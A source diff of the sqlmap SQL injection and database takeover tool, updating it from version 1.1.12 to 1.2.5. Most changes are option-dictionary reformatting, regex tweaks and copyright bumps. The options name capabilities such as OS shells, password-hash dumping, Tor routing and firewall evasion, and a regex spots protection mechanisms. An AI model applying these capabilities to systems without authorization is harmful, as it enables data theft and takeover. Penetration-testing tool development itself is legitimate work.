+    # Family: {"parameter name": "parameter datatype"},
+    # --OR--
+    # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
 
-            "Request":       {
-                               "method":            "string",
-                               "data":              "string",
-                               "paramDel":          "string",
-                               "cookie":            "string",
-                               "cookieDel":         "string",
-                               "loadCookies":       "string",
-                               "dropSetCookie":     "boolean",
-                               "agent":             "string",
-                               "randomAgent":       "boolean",
-                               "host":              "string",
-                               "referer":           "string",
-                               "headers":           "string",
-                               "authType":          "string",
-                               "authCred":          "string",
-                               "authFile":          "string",
-                               "ignoreCode":        "integer",
-                               "ignoreProxy":       "boolean",
-                               "ignoreRedirects":   "boolean",
-                               "ignoreTimeouts":    "boolean",
-                               "proxy":             "string",
-                               "proxyCred":         "string",
-                               "proxyFile":         "string",
-                               "tor":               "boolean",
-                               "torPort":           "integer",
-                               "torType":           "string",
-                               "checkTor":          "boolean",
-                               "delay":             "float",
-                               "timeout":           "float",
-                               "retries":           "integer",
-                               "rParam":            "string",
-                               "safeUrl":           "string",
-                               "safePost":          "string",
-                               "safeReqFile":       "string",
-                               "safeFreq":          "integer",
-                               "skipUrlEncode":     "boolean",
-                               "csrfToken":         "string",
-                               "csrfUrl":           "string",
-                               "forceSSL":          "boolean",
-                               "hpp":               "boolean",
-                               "evalCode":          "string",
-                             },
+    "Target": {
+        "direct": "string",
+        "url": "string",
+        "logFile": "string",
+        "bulkFile": "string",
+        "requestFile": "string",
+        "sessionFile": "string",
+        "googleDork": "string",
+        "configFile": "string",
+        "sitemapUrl": "string",
+    },
 
-            "Optimization":  {
-                               "optimize":          "boolean",
-                               "predictOutput":     "boolean",
-                               "keepAlive":         "boolean",
-                               "nullConnection":    "boolean",
-                               "threads":           "integer",
-                             },
+    "Request": {
+        "method": "string",
+        "data": "string",
+        "paramDel": "string",
+        "cookie": "string",
+        "cookieDel": "string",
+        "loadCookies": "string",
+        "dropSetCookie": "boolean",
+        "agent": "string",
+        "randomAgent": "boolean",
+        "host": "string",
+        "referer": "string",
+        "headers": "string",
+        "authType": "string",
+        "authCred": "string",
+        "authFile": "string",
+        "ignoreCode": "integer",
+        "ignoreProxy": "boolean",
+        "ignoreRedirects": "boolean",
+        "ignoreTimeouts": "boolean",
+        "proxy": "string",
+        "proxyCred": "string",
+        "proxyFile": "string",
+        "tor": "boolean",
+        "torPort": "integer",
+        "torType": "string",
+        "checkTor": "boolean",
+        "delay": "float",
+        "timeout": "float",
+        "retries": "integer",
+        "rParam": "string",
+        "safeUrl": "string",
+        "safePost": "string",
+        "safeReqFile": "string",
+        "safeFreq": "integer",
+        "skipUrlEncode": "boolean",
+        "csrfToken": "string",
+        "csrfUrl": "string",
+        "forceSSL": "boolean",
+        "hpp": "boolean",
+        "evalCode": "string",
+    },
 
-            "Injection":     {
-                               "testParameter":     "string",
-                               "skip":              "string",
-                               "skipStatic":        "boolean",
-                               "paramExclude":      "string",
-                               "dbms":              "string",
-                               "dbmsCred":          "string",
-                               "os":                "string",
-                               "invalidBignum":     "boolean",
-                               "invalidLogical":    "boolean",
-                               "invalidString":     "boolean",
-                               "noCast":            "boolean",
-                               "noEscape":          "boolean",
-                               "prefix":            "string",
-                               "suffix":            "string",
-                               "tamper":            "string",
-                             },
+    "Optimization": {
+        "optimize": "boolean",
+        "predictOutput": "boolean",
+        "keepAlive": "boolean",
+        "nullConnection": "boolean",
+        "threads": "integer",
+    },
 
-            "Detection":     {
-                               "level":             "integer",
-                               "risk":              "integer",
-                               "string":            "string",
-                               "notString":         "string",
-                               "regexp":            "string",
-                               "code":              "integer",
-                               "textOnly":          "boolean",
-                               "titles":            "boolean",
-                             },
+    "Injection": {
+        "testParameter": "string",
+        "skip": "string",
+        "skipStatic": "boolean",
+        "paramExclude": "string",
+        "dbms": "string",
+        "dbmsCred": "string",
+        "os": "string",
+        "invalidBignum": "boolean",
+        "invalidLogical": "boolean",
+        "invalidString": "boolean",
+        "noCast": "boolean",
+        "noEscape": "boolean",
+        "prefix": "string",
+        "suffix": "string",
+        "tamper": "string",
+    },
 
-            "Techniques":    {
-                               "tech":              "string",
-                               "timeSec":           "integer",
-                               "uCols":             "string",
-                               "uChar":             "string",
-                               "uFrom":             "string",
-                               "dnsDomain":         "string",
-                               "secondOrder":       "string",
-                             },
+    "Detection": {
+        "level": "integer",
+        "risk": "integer",
+        "string": "string",
+        "notString": "string",
+        "regexp": "string",
+        "code": "integer",
+        "textOnly": "boolean",
+        "titles": "boolean",
+    },
 
-            "Fingerprint":   {
-                               "extensiveFp":       "boolean",
-                             },
+    "Techniques": {
+        "tech": "string",
+        "timeSec": "integer",
+        "uCols": "string",
+        "uChar": "string",
+        "uFrom": "string",
+        "dnsDomain": "string",
+        "secondOrder": "string",
+    },
 
-            "Enumeration":   {
-                               "getAll":            "boolean",
-                               "getBanner":         ("boolean", "Banners"),
-                               "getCurrentUser":    ("boolean", "Users"),
-                               "getCurrentDb":      ("boolean", "Databases"),
-                               "getHostname":       "boolean",
-                               "isDba":             "boolean",
-                               "getUsers":          ("boolean", "Users"),
-                               "getPasswordHashes": ("boolean", "Passwords"),
-                               "getPrivileges":     ("boolean", "Privileges"),
-                               "getRoles":          ("boolean", "Roles"),
-                               "getDbs":            ("boolean", "Databases"),
-                               "getTables":         ("boolean", "Tables"),
-                               "getColumns":        ("boolean", "Columns"),
-                               "getSchema":         "boolean",
-                               "getCount":          "boolean",
-                               "dumpTable":         "boolean",
-                               "dumpAll":           "boolean",
-                               "search":            "boolean",
-                               "getComments":       "boolean",
-                               "db":                "string",
-                               "tbl":               "string",
-                               "col":               "string",
-                               "excludeCol":        "string",
-                               "pivotColumn":       "string",
-                               "dumpWhere":         "string",
-                               "user":              "string",
-                               "excludeSysDbs":     "boolean",
-                               "limitStart":        "integer",
-                               "limitStop":         "integer",
-                               "firstChar":         "integer",
-                               "lastChar":          "integer",
-                               "query":             "string",
-                               "sqlShell":          "boolean",
-                               "sqlFile":           "string",
-                             },
+    "Fingerprint": {
+        "extensiveFp": "boolean",
+    },
 
-            "Brute":         {
-                               "commonTables":       "boolean",
-                               "commonColumns":      "boolean",
-                             },
+    "Enumeration": {
+        "getAll": "boolean",
+        "getBanner": ("boolean", "Banners"),
+        "getCurrentUser": ("boolean", "Users"),
+        "getCurrentDb": ("boolean", "Databases"),
+        "getHostname": "boolean",
+        "isDba": "boolean",
+        "getUsers": ("boolean", "Users"),
+        "getPasswordHashes": ("boolean", "Passwords"),
+        "getPrivileges": ("boolean", "Privileges"),
+        "getRoles": ("boolean", "Roles"),
+        "getDbs": ("boolean", "Databases"),
+        "getTables": ("boolean", "Tables"),
+        "getColumns": ("boolean", "Columns"),
+        "getSchema": "boolean",
+        "getCount": "boolean",
+        "dumpTable": "boolean",
+        "dumpAll": "boolean",
+        "search": "boolean",
+        "getComments": "boolean",
+        "db": "string",
+        "tbl": "string",
+        "col": "string",
+        "exclude": "string",
+        "pivotColumn": "string",
+        "dumpWhere": "string",
+        "user": "string",
+        "excludeSysDbs": "boolean",
+        "limitStart": "integer",
+        "limitStop": "integer",
+        "firstChar": "integer",
+        "lastChar": "integer",
+        "query": "string",
+        "sqlShell": "boolean",
+        "sqlFile": "string",
+    },
 
-            "User-defined function": {
-                               "udfInject":         "boolean",
-                               "shLib":             "string",
-                             },
+    "Brute": {
+        "commonTables": "boolean",
+        "commonColumns": "boolean",
+    },
 
-            "File system":   {
-                               "rFile":             "string",
-                               "wFile":             "string",
-                               "dFile":             "string",
-                             },
+    "User-defined function": {
+        "udfInject": "boolean",
+        "shLib": "string",
+    },
 
-            "Takeover":      {
-                               "osCmd":             "string",
-                               "osShell":           "boolean",
-                               "osPwn":             "boolean",
-                               "osSmb":             "boolean",
-                               "osBof":             "boolean",
-                               "privEsc":           "boolean",
-                               "msfPath":           "string",
-                               "tmpPath":           "string",
-                             },
+    "File system": {
+        "rFile": "string",
+        "wFile": "string",
+        "dFile": "string",
+    },
 
-            "Windows":       {
-                               "regRead":           "boolean",
-                               "regAdd":            "boolean",
-                               "regDel":            "boolean",
-                               "regKey":            "string",
-                               "regVal":            "string",
-                               "regData":           "string",
-                               "regType":           "string",
-                             },
+    "Takeover": {
+        "osCmd": "string",
+        "osShell": "boolean",
+        "osPwn": "boolean",
+        "osSmb": "boolean",
+        "osBof": "boolean",
+        "privEsc": "boolean",
+        "msfPath": "string",
+        "tmpPath": "string",
+    },
 
-            "General":       {
-                               #"xmlFile":           "string",
-                               "trafficFile":       "string",
-                               "batch":             "boolean",
-                               "binaryFields":      "string",
-                               "charset":           "string",
-                               "checkInternet":     "boolean",
-                               "crawlDepth":        "integer",
-                               "crawlExclude":      "string",
-                               "csvDel":            "string",
-                               "dumpFormat":        "string",
-                               "encoding":          "string",
-                               "eta":               "boolean",
-                               "flushSession":      "boolean",
-                               "forms":             "boolean",
-                               "freshQueries":      "boolean",
-                               "harFile":           "string",
-                               "hexConvert":        "boolean",
-                               "outputDir":         "string",
-                               "parseErrors":       "boolean",
-                               "saveConfig":        "string",
-                               "scope":             "string",
-                               "testFilter":        "string",
-                               "testSkip":          "string",
-                               "updateAll":         "boolean",
-                             },
+    "Windows": {
+        "regRead": "boolean",
+        "regAdd": "boolean",
+        "regDel": "boolean",
+        "regKey": "string",
+        "regVal": "string",
+        "regData": "string",
+        "regType": "string",
+    },
 
-            "Miscellaneous": {
-                               "alert":             "string",
-                               "answers":           "string",
-                               "beep":              "boolean",
-                               "cleanup":           "boolean",
-                               "dependencies":      "boolean",
-                               "disableColoring":   "boolean",
-                               "googlePage":        "integer",
-                               "identifyWaf":       "boolean",
-                               "mobile":            "boolean",
-                               "offline":           "boolean",
-                               "purgeOutput":       "boolean",
-                               "skipWaf":           "boolean",
-                               "smart":             "boolean",
-                               "tmpDir":            "string",
-                               "webRoot":           "string",
-                               "wizard":            "boolean",
-                               "verbose":           "integer",
-                             },
-            "Hidden": {
-                               "dummy":             "boolean",
-                               "disablePrecon":     "boolean",
-                               "profile":           "boolean",
-                               "forceDns":          "boolean",
-                               "murphyRate":        "integer",
-                               "smokeTest":         "boolean",
-                               "liveTest":          "boolean",
-                               "stopFail":          "boolean",
-                               "runCase":           "string",
-                      },
-            "API": {
-                               "api":               "boolean",
-                               "taskid":            "string",
-                               "database":          "string",
-                      }
-          }
+    "General": {
+        # "xmlFile": "string",
+        "trafficFile": "string",
+        "batch": "boolean",
+        "binaryFields": "string",
+        "charset": "string",
+        "checkInternet": "boolean",
+        "crawlDepth": "integer",
+        "crawlExclude": "string",
+        "csvDel": "string",
+        "dumpFormat": "string",
+        "encoding": "string",
+        "eta": "boolean",
+        "flushSession": "boolean",
+        "forms": "boolean",
+        "freshQueries": "boolean",
+        "harFile": "string",
+        "hexConvert": "boolean",
+        "outputDir": "string",
+        "parseErrors": "boolean",
+        "saveConfig": "string",
+        "scope": "string",
+        "testFilter": "string",
+        "testSkip": "string",
+        "updateAll": "boolean",
+    },
+
+    "Miscellaneous": {
+        "alert": "string",
+        "answers": "string",
+        "beep": "boolean",
+        "cleanup": "boolean",
+        "dependencies": "boolean",
+        "disableColoring": "boolean",
+        "googlePage": "integer",
+        "identifyWaf": "boolean",
+        "mobile": "boolean",
+        "offline": "boolean",
+        "purgeOutput": "boolean",
+        "skipWaf": "boolean",
+        "smart": "boolean",
+        "tmpDir": "string",
+        "webRoot": "string",
+        "wizard": "boolean",
+        "verbose": "integer",
+    },
+
+    "Hidden": {
+        "dummy": "boolean",
+        "disablePrecon": "boolean",
+        "profile": "boolean",
+        "forceDns": "boolean",
+        "murphyRate": "integer",
+        "smokeTest": "boolean",
+        "liveTest": "boolean",
+        "stopFail": "boolean",
+        "runCase": "string",
+    },
+
+    "API": {
+        "api": "boolean",
+        "taskid": "string",
+        "database": "string",
+    }
+}

lib/core/profiling.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     """
 
     try:
+        __import__("gobject")
         from thirdparty.gprof2dot import gprof2dot
         from thirdparty.xdot import xdot
-        import gobject
         import gtk
         import pydot
     except ImportError, e:

lib/core/readlineng.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -14,11 +14,11 @@ _readline = None
 try:
     from readline import *
     import readline as _readline
-except ImportError:
+except:
     try:
         from pyreadline import *
         import pyreadline as _readline
-    except ImportError:
+    except:
         pass
 
 if IS_WIN and _readline:

lib/core/replication.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/revision.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/session.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/settings.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.1.12.0"
+VERSION = "1.2.5.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
 DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
-GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
+GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
 BANNER = """\033[01;33m\
@@ -82,10 +83,13 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
 
 # Regular expression used for recognition of generic permission messages
-PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
+PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
+
+# Regular expression used in recognition of generic protection mechanisms
+GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
 
 # Regular expression used for recognition of generic maximum connection messages
-MAX_CONNECTIONS_REGEX = r"max.+connections"
+MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
 
 # Maximum consecutive connection errors before asking the user if he wants to continue
 MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
@@ -202,6 +206,11 @@ DUMMY_USER_PREFIX = "__dummy__"
 # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
 DEFAULT_PAGE_ENCODING = "iso-8859-1"
 
+try:
+    unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
+except LookupError:
+    DEFAULT_PAGE_ENCODING = "utf8"
+
 # URL used in dummy runs
 DUMMY_URL = "http://foo/bar?id=1"
 
@@ -216,7 +225,7 @@ PYVERSION = sys.version.split()[0]
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
+ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -291,6 +300,10 @@ BASIC_HELP_ITEMS = (
     "wizard",
 )
 
+# Tags used for value replacements inside shell scripts
+SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
+SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
+
 # String representation for NULL value
 NULL = "NULL"
 
@@ -300,13 +313,16 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"
 
+# Name of SQLite file used for storing session data
+SESSION_SQLITE_FILE = "session.sqlite"
+
 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
     r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
     r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
     r"<li>Error Type:<br>(?P<result>.+?)</li>",
     r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -413,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
 # Maximum integer value
 MAX_INT = sys.maxint
 
+# Replacement for unsafe characters in dump table filenames
+UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
+
 # Options that need to be restored in multiple targets run mode
 RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
@@ -520,7 +539,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
 # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
 BIGARRAY_CHUNK_SIZE = 1024 * 1024
 
-# Compress (zlib) level used for storing BigArray chunks to disk (0-9)
+# Compress level used for storing BigArray chunks to disk (0-9)
 BIGARRAY_COMPRESS_LEVEL = 9
 
 # Maximum number of socket pre-connects
@@ -621,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
 
 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

lib/core/shell.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -104,20 +104,20 @@ def autoCompletion(completion=None, os=None, commands=None):
         if os == OS.WINDOWS:
             # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
             completer = CompleterNG({
-                                      "copy": None, "del": None, "dir": None,
-                                      "echo": None, "md": None, "mem": None,
-                                      "move": None, "net": None, "netstat -na": None,
-                                      "ver": None, "xcopy": None, "whoami": None,
-                                    })
+                "copy": None, "del": None, "dir": None,
+                "echo": None, "md": None, "mem": None,
+                "move": None, "net": None, "netstat -na": None,
+                "ver": None, "xcopy": None, "whoami": None,
+            })
 
         else:
             # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
             completer = CompleterNG({
-                                      "cp": None, "rm": None, "ls": None,
-                                      "echo": None, "mkdir": None, "free": None,
-                                      "mv": None, "ifconfig": None, "netstat -natu": None,
-                                      "pwd": None, "uname": None, "id": None,
-                                    })
+                "cp": None, "rm": None, "ls": None,
+                "echo": None, "mkdir": None, "free": None,
+                "mv": None, "ifconfig": None, "netstat -natu": None,
+                "pwd": None, "uname": None, "id": None,
+            })
 
         readline.set_completer(completer.complete)
         readline.parse_and_bind("tab: complete")

lib/core/subprocessng.py

@@ -1,14 +1,13 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 import errno
 import os
 import subprocess
-import sys
 import time
 
 from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
     import select
     import fcntl
 
-    if (sys.hexversion >> 16) >= 0x202:
-        FCNTL = fcntl
-    else:
-        import FCNTL
-
 def blockingReadFromFD(fd):
     # Quick twist around original Twisted function
     # Blocking read from a non-blocking file descriptor

lib/core/target.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -62,6 +62,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import RESTORE_MERGED_OPTIONS
 from lib.core.settings import RESULTS_FILE_FORMAT
+from lib.core.settings import SESSION_SQLITE_FILE
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UNENCODED_ORIGINAL_VALUE
 from lib.core.settings import UNICODE_ENCODING
@@ -141,7 +142,7 @@ def _setRequestParams():
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
@@ -229,9 +230,9 @@ def _setRequestParams():
             if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                 conf.parameters[PLACE.POST] = conf.data
 
-    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
 
-    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
+    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
         warnMsg = "you've provided target URL without any GET "
         warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
         warnMsg += "and without providing any POST parameters "
@@ -376,7 +377,7 @@ def _setRequestParams():
                 if condition:
                     conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                     conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
-                    conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
+                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
                     testableParameters = True
 
     if not conf.parameters:
@@ -390,12 +391,15 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
     else:
         for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
+            if conf.csrfToken:
+                break
+
             for parameter in conf.paramDict.get(place, {}):
                 if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                     message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
@@ -403,7 +407,7 @@ def _setRequestParams():
 
                     if readInput(message, default='N', boolean=True):
                         conf.csrfToken = getUnicode(parameter)
-                    break
+                        break
 
 def _setHashDB():
     """
@@ -411,7 +415,7 @@ def _setHashDB():
     """
 
